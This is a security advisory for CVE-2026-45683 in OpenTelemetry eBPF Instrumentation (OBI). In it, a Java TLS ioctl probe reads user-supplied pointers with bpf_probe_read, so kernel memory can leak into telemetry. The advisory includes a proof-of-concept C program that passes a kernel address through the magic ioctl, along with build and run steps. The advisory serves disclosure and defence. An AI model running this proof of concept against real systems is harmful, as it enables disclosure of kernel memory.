PT-2026-41788 · Go · Go.Opentelemetry.Io/Obi

Published

2026-05-18

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Updated

2026-05-18

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CVE-2026-45683

CVSS v3.1

3.8

Low

VectorAV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

The Java TLS ioctl probe reads user-controlled ioctl pointers with bpf probe read instead of bpf probe read user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.

Details

The vulnerable path is in [bpf/generictracer/java tls.c](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/java tls.c#L66-L163). The kprobe hooks do vfs ioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpf probe read, including:
  • the operation byte from arg
  • connection metadata from arg + 1
  • the payload length from arg + 1 + sizeof(connection info t)
If len > 0, it computes buf = arg + 1 + sizeof(connection info t) + sizeof(u32) and passes that pointer into [handle buf with connection](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k tracer defs.h#L67).
The next stage, [bpf/generictracer/k tracer defs.h](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k tracer defs.h#L62), uses [bpf probe read(args->small buf, MIN HTTP2 SIZE, (void *)args->u buf);](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k tracer defs.h#L62) on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from u buf and emits the bytes through bpf ringbuf output in [bpf/generictracer/protocol http.h](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/protocol http.h#L477).
Because the ioctl pointer originates in user space, the probe should be using bpf probe read user with strict length validation. Using bpf probe read instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.

PoC

A complete lab reproduction requires:
  1. a vulnerable build of OBI with Java TLS instrumentation enabled
  2. a host capable of loading the BPF program
  3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer
Suggested reproduction steps:
git checkout v0.0.0-rc.1+build
make build
sudo ./bin/obi
Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.
// save as /tmp/ioctl kernel ptr.c
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define JAVA TLS MAGIC 0x0b10b1

int main(void) {
 void *ptr = (void *)0xffff888000000000ULL;
 long rc = ioctl(0, JAVA TLS MAGIC, ptr);
 printf("ioctl rc=%ld
", rc);
 return 0;
}
Compile and run:
cc -O2 -o /tmp/ioctl kernel ptr /tmp/ioctl kernel ptr.c
/tmp/ioctl kernel ptr
On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.

Impact

This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.

Fix

Information Disclosure

Weakness Enumeration

CWE-200CWE-127

Related Identifiers

CVE-2026-45683
GHSA-FJQ3-FFVR-VM46

Affected Products

Go.Opentelemetry.Io/Obi